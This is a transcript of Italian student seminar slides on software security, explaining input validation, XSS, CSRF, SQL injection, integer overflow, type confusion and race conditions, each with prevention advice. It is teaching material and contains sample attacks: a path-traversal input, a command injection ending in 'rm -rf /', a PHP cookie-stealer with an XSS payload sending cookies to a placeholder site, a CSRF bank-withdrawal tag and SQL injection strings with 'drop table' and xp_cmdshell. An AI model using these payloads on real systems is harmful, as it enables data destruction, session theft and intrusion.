seminario di sicurezza software security studente: valentina mancinelli
Post on 01-May-2015
219 Views
Preview:
TRANSCRIPT
Seminario di Sicurezza
SOFTWARE SECURITY
Studente:Valentina Mancinelli
Software Security● Software sicuro● Convalida dell'input
- codifica dell'input- canonicalizzazione- scripting- XSS- Sql injection
● Problemi dell'astrazione- Integer overflow- Java e Type Confusion
● Race condition● Prevenzione
Software Security
● In una macchina “stand-alone” si è in pieno controllo dell'input e dei flussi di dati tra le applicazioni
● In una macchina connessa a internet applicazioni per il networking prendono input dalla rete
● Dunque eventuali attaccanti possono fornire input alle applicazioni del nostro sistema
Software Security
Un software è SICURO se può gestire input forniti intenzionalmente in maniera malformata
garantire l'integrità del funzionamento del sistema in tal caso
Fare software sicuro non vuol dire aggiungere funzionalità di sicurezza a software non sicuro
Software Security
Sicurezza e affidabilità di un software sono legati ma non sono la stessa cosa.
Affidabilità si basa su errori accidentali, provocati da un utilizzo ( input ) “tipico” dell'applicazione
Sicurezza riguarda attacchi intenzionali, provocati da una generazione di input decisa dall'attaccante
Input
MAI FIDARSI DELL'INPUT!!
Convalida dell'input
● Un applicazione vuole dare accesso agli utenti solo ai file contenuti nella directory A/B/C/.
● Gli utenti inseriscono il nome del file come input, indirizzo completo costruito come A/B/C/input.
● Attacco: usando ../ per risalire alla root posso avere accesso a qualsiasi file ad esempio con l'input: /../../../../etc/passwd.
● Contromisure: input validation, filtrare l'input e non accettare i caratteri ../ (ma non è così semplice).
Codifica dell'inputUTF-8 (Unicode Transformation Format, 8 bit) è una codifica dei
caratteri Unicode in sequenze di lunghezza variabile di byte:
Unicode UTF-8
0x000000 - 0x00007F 0xxxxxxx Caratteri equivalenti al codice ASCII; I byte iniziano con 0
0x000080 - 0x0007FF 110xxxxx 10xxxxxx
0x000800 - 0x00FFFF 1110xxxx 10xxxxxx 10xxxxxx
0x010000 - 0x10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
Codifica dell'input
Se un sistema accetta piu formati UTF-8 --> un carattere può avere piu di una rappresentazione
Esempio: “/”format binary hex
1 byte0xxx xxxx 0010 1111 2F2 byte110x xxxx 1100 0000 C0
10xx xxxx 1010 1111AF
3 byte1110 xxxx 1110 0000 E0 10xx xxxx 10 00 0000
80 10xx xxxx 1010 1111 AF
CanonicalizationNomi utilizzati per l'astrazione di entità (nodi, utenti, risorse)
Utilizzati per definizione di regole di sicurezza ( es. nei firewall)
Problemi se un entità ha piu di un nome o quando nomi hanno piu rappresentazioni
ES:
File Name: c:\x\data = c:\y\z\..\..\x\data = c:\y\z\%2e%2e\%2e%2e\x\dataIP: a.b.c.d = a * 224 + b*216 + c * 28 + dLink simboliciCase sensitive
MyLongFile.txtMyLongFile.txtmylongfile.txt.mylongfile.txt.MyLong~1.txtMyLong~1.txtMyLongFile.txt::$DATAMyLongFile.txt::$DATA
Un attaccante può utilizzare queste alternative che possono non essere state considerate per cercare di aggirare le regole di sicurezza
Canonicalizzazione
Caso Napster, vietare la condivisione di canzoni con copyrightMa sono gli utenti a decidere quali nomi hanno lo stesso significato
CanonicalizationCANONICALIZZAZIONE: Si tratta di un processo mediante il quale viene
determinato come risolvere diverse forme equivalenti di un nome in un unico nome standard, detto anche nome canonico
● Usare espressioni regolari per validare l'input● Usare pathname completi invece che sistemi che li generano automaticamente
da path relativi● Non prendere decisioni basate sui nomi di livello Applicazione ma usare i sistemi
di controllo degli accessi del sistema operativo
ESEMPIO<script language="C#" runat="server">void Application_BeginRequest(object source, EventArgs e) { if (Request.Path.IndexOf('\\') >= 0 || System.IO.Path.GetFullPath(Request.PhysicalPath) !=
Request.PhysicalPath) { throw new HttpException(404, "not found"); }}</script>
ScriptingLinguaggi di scripting sono linguaggi interpretati, comunemente
usati per applicazioni Web (Perl, PHP, Python ... )
CGI = traduce URLs o form html in programmi eseguibili
Programmi eseguiti con l'user identity del web server
Puo invocare applicazioni come SSIs (servver side includes – con comandi di sistema)
Scripting
In linguaggi di scripting possono essere passati come argomenti anche degli eseguibili
Per esempio: Uno script CGI per inviare email all'indirizzo mail di un
cliente preso come argomentocat file | mail clientaddress
Passando to@me | rm -rf / as input per l'argomento client address il server eseguirà cat file | mail to@me | rm -rf /
Dopo l'invio del file, tutti i file vengono cancellati se lo script ha i diritti per farlo.
Attacchi XSSCross site scripting (XSS) si verifica quanso un applicazione web
riceve dati maligni da un utente. I dati sono in genere ricevuti attraverso la forma di hyperlink che contengono contenuto maligno (script).
Colpisce pagine web dinamiche e non che utilizzano linguaggi di scripting
Tecnica dell'injection, attraverso una vulnerabilità della pagina web l'attaccante inserisce codice malevolo nel codice che verà poi inviato all'utente
bersagli siti che trascurano completamente la validazione delle informazioni passate in input al sito dagli utenti
Attacco inviato tramite l'url (link)
Attacchi XSS
Esempio (semplice furto di Cookie)
<?php$cookie = $_GET['c'];$ip = getenv ('REMOTE_ADDR');$date=date("j F, Y, g:i a");$referer=getenv ('HTTP_REFERER');$fp = fopen('file.txt', 'a');fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date.
'<br> Referer: '.$referer.'<br><br><br>');fclose($fp);?>
Come faccio a farlo eseguire dalla vittima?
Attacchi XSSBasta trovare un applicazione web vulnerabile in cui inserirloPosso usare:
● Forum
● Blog
Codice da inserire nella vulnerabilità
<script>document.location="http://yoursite.com/leggo-cookie.php?cookie="+document.cookie+";</script>
Attacchi XSS● Semplice message board
vulnerabile
<form action="<? echo $PHP_SELF; ?>"><input type="text" name="message"><input type="submit"></form><?if (!empty($_GET['message'])){ $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br>"); fclose($fp);}readfile('./messages.txt');?>
● Semplice message board piu sicura
<form action="<? echo $PHP_SELF; ?>"><input type="text" name="message"><input type="submit"></form><?if (!empty($_GET['message'])){ $fp = fopen('./safer.txt', 'a'); $msg = htmlentities($_GET['message']); fwrite($fp, "$msg<br>"); fclose($fp);}readfile('./safer.txt');?>
Htmlentities trasforma tutti i caratteri < > & " (doppi apici) rispettivamente nell'equivalente simbolico html: < > & " In questo modo si dà il corretto significato ai caratteri "<", ">" e si impedisce che il browser li interpreti come tag html
Attacchi XSS
Prevenzione
- controllo tipo di dato. Se per esempio ci aspettiamo un dato numerico per fare un certo calcolo, dobbiamo controllare che effettivamente ci arrivi un numero
- controllare anche il "range" di validità del numero per evitare numeri troppo grossi o troppo piccoli che potrebbero fare andare in overflow
- filtrare il contenuto dell'input in modo da impedire che TAG HTML (inseriti involontariamente o maliziosamente) possano finire nella nostra pagina modificandone la formattazione o il comportamento
(effettuare l'escape dei caratteri)
es. PHP: htmlentities(), strip_tags(), utf8_decode()
Attacchi CSRF Cross-site request forgery: richieste non autorizzate inviate a un website da un
utente di cui si fida. Sfrutta la fiducia di un website verso un utente (browser).
<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
Sfrutta i cookie per avere una sessione valida con il website che vuole attaccare
Richieste di immagini funzionano allo stesso modo di una richiesta di qualsiasi altro URL
Banca
Bob
Sito mallory
Attacchi CSRF
● Prevenzione
- Limitare il tempo di validità dei cookie di autenticazione
- Controllare l' HTTP Refer header
- Disattivare la funzione register_globals e usare $_POST
- Utilizzare POST invece che GET
SQL injection
La SQL injection è una tecnica dell'hacking mirata a colpire le applicazioni web che si appoggiano su un database di tipo SQL. Questo exploit sfrutta l'inefficienza dei controlli sui dati ricevuti in input ed inserisce codice maligno all'interno di una query SQL
SQL injection
"select * from customers where companyname like ' " + TextBox1.Text + "' "
Un utente del web che dovesse cercare "Carlo" causerebbe l'esecuzione della query:
"select * from customers where companyname like 'Carlo' "
Lo sviluppatore web non ha purtroppo validato il contenuto della TextBox e un hacker potrebbe sfruttare questa vulnerabilità semplicemente inserendo nella casella di testo la stringa:
" ' or 'a' like 'a "
"select * from customers where companyname like '' or 'a' like 'a' "
SQL Injection
select * from customers where companyname like '' or 'a' like 'a'; drop table customers --
-- fanno si che tutto quello che viene dopo sia visto come commento, e non verrà dunque eseguito
i DBMS hanno tabelle che contengono la descrizione del database, visualizzandole un attaccante ha accesso a tutta la struttura
"' ; select * from sys.tables -- "
es. sys.tables per ACCESinformation_schema per MySql
’; exec master..xp cmdshell ‘notepad.exe’--
MS-SQL permette di eseguire comandi, eseguiti come utente dbms con gli stessi diritti.
Prevenzione
● Escaping dei caratteri potenzialmente dannosi;
● Filtraggio dei dati mediante regular expressions;
● Controllo del tipo di dato ricevuto ed eventuale casting;
● Evitare la visualizzazione dei messaggi d'errore all'utente
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’[Microsoft][ODBC SQL Server Driver] [SQL Server]Column ‘utenti.ID’ isinvalid in the select list because it is not contained in an aggregatefunction and there is no GROUP BY clause.
L'attaccante può avere informazioni sulla struttura del database, facilitando gli attacchi blind
● Vietare la possibilità di eseguire la procedura exec cmdshell
Prevenzione
SSL e altri meccanismi di sicurezza della comunicazione non proteggono dagli attacchi di injection
sfruttano l'input
SSL non farebbe altro che far viaggiare in “maniera sicura” l'attacco inviato tramite input
Espressioni Regolari
nome: [a-zA-Zàòèéùì]*
cognome: [a-zA-Zàòèéùì’ ]+
email: [a-zA-Z0-9_\.]+@[a-zA-Z0-9-]+\.[a-zA-Z]{0,4}
numero di telefono: [0-9]+\-[0-9]+
Problemi di astrazione
● Si verificano quando l'implementazione concreta e la versione teorica di un problema divergono
● In matemarica gli interi sono un insieme infinito. In un computer gli interi sono rapresentati da una stringa di binari con una lunghezza fissata (precisione) ---> numero finito di integer
Integer Overflow● Se il risultato di un calcolo diventa piu grande della
rappresentazione scelta si verifica un carry overflow:
● Unsigned 8-bit integers 255 + 1 = 0 16 17 = 16 0 – 1 = 255 ● Signed 8-bit integers
127 + 1 = -128 -128/-1 = -1
● In matematica: a + b> a per b >0
● Nella rappresentazione integer questo non è sempre vero.
Integer Overflowchar buf[128];combine(char *s1, size_t len1, char *s2, size_t len2){if (len1 + len2 + 1 <= sizeof(buf)) {strncpy(buf, s1, len1);strncat(buf, s2, len2);}}
In un sistema a 32-bit un attaccante può fissare len2 = 0xffffffff
e strncat sarà eseguita perchè
len1 + 0xffffffff + 1 == len1 < sizeof(buf)
Type safety
Type safety (memory safety): programmi non possono accedere alla memoria in modo inappropriato
- Ogni oggetto in Java ha una classe; solo determinate operazioni sono autorizzate a manipolare gli oggetti di una classe
- Ogni oggetto nella memoria è etichettato con il tag della classe
- Quando un programma Java ha il riferimento a un oggetto ha un puntatore alla memoria che contiene l'oggetto
- Il puntatore può essere visto come taggato con un tipo, che specifica che tipo di oggetto fa riferimento il puntatore (e le
azioni autorizzate)
Type confusion
● Con un check dinamico il class tag viene controllato quando è richiesto l'accesso all'oggetto
● Con un check statico vengono controllate tutte le possibili esecuzioni del programma per vedere se può esserci una violazione di tipo
● Se c'è un errore nel controllo del tipo un'applet maligna potrebbe riuscire a effettuare un attacco di Type Confusion, creando due puntatori allo stesso oggetto con tag non compatibili
● Con questo tipo di attacco posso accedere a un oggetto compiendo operazioni in origine non permesse
Type Confusion
Grazie alla classe myobject e al type confusion posso accedere alle risorse dell'oggetto securitymanager ridefinendo i metodi di accesso e modifica
T t = the pointer tagged T;U u = the pointer tagged U;t.x = System. getSecurity();MyObject m = u.x;
class T {SecurityManager x;
}
class U {MyObject x;
}
c lass de fin itions
m a lic ious app le t
Type confusion
…
v type V
u type U
t type T
ob ject 2
ob jec t 1
R e fe rence T ab le
m em ory
Type Confusion
SandboxUn sandbox è un meccanismo di sicurezza per separare l'esecuzione dei
programmi. Viene spesso usato per eseguire codice non testato o programmi non trusted
Un sandbox generalmente fornisce un set di risorse strettamente controllato in cui far girare i programmi, come ad esempio uno spazio di lavoro separato nel disco e nella memoria. In genere vengono disabilitati o ristretti:
- l'accesso alla rete- la possibilità di ispezionare il
sistema host- la lettura di input da determinati
dispositivi
Sandbox● Applet – sono programmi che vengono esegioti all'interno della virtual machine
o dell'interprete che si svolgono la funzione di sandbox. L'applet viene scaricata nel client remoto ed eseguito con meccanismi di esecuzione di codice non sicuro
● Macchine virtuali emulano completamente un computer host,viene caricato un sistema operativo che opera come se avesse hardware reale, potendo accedere però alle risorse soltanto attraverso l'emulatore
● Jail (gabbia) è un set di limiti sulle risorse imposte ai programmi dal kernel del sistema operativo.- capacità di banda di I/O- quote di spazio su disco- restrizioni sull'accesso alla rete- un filesystem namespace ristretto
● Sandboxing può essere usato per testare gli effetti di malware, replicando il comportamento del sistema e eseguendo codice malevolo per valutare quanto può compromettere l'host
Race Condition
Una Race Condition si verifica quando un programma non si comporta come dovrebbe a causa di un ordine inaspettato di eventi che produce una contesa di risorse.
- Tra thread dello stesso programma- Tra piu programmi
Contesa su:- variabili- file- ...
Race Condition● Esempio concreto
...if(access("/tmp/datafile",R_OK)==0){
fd=open("/tmp/datafile process(fd); close(fd);......
Programma con diritti ROOT
HACKER
/tmp/datafile
ok
Race Condition● Esempio concreto
...if(access("/tmp/datafile",R_OK)==0){
fd=open("/tmp/datafile process(fd); close(fd);......
Programma con diritti ROOT
HACKER
cancella
/tmp/datafile
link simbolico
/etc/shadow
Prevention
● Usare lock sui file
● Non usare access(), settare i diritti al programma e provare open() (operazione atomica)
● Creare file con le modalità O_CREAT | O_EXCL assicura che la chiamata ha successo solo se viene creato un nuovo file
● Usare umask e limitare gli accessi iniziali
char *; int fd; do { filename = tempnam (NULL, "foo"); fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600); free (filename); } while (fd == -1);
Prevention
● Per operazioni sulle meta-informazione di file usare funzioni che prendono il descrittore del file e non il nome (che può essere modificato durante l'esecuzione:
fchown( ), fstat( ), or fchmod( ) system calls, invece che chown(), chgrp(), and chmod()
● Aumentare le “race”, effettuare il controllo piu volte, un attaccante deve vincere tutti i controlli per sfruttare la vulnerabilità
● Utilizzare privilegi di root solo quando strettamente necessario
● Fare attenzione se si usano cartelle condivise (/tmp, /var/tmp), assicurarsi che lo sticky bit sia settato
Conclusioni
Prevenire attraverso:
- soluzioni hardware- linguaggi type safety- utilizzare funzioni sicure (C, php, ...)- effettuare test del codice- gestire i privilegi in maniera adeguata (least
privilege)- mantenere aggiornato il sistema
top related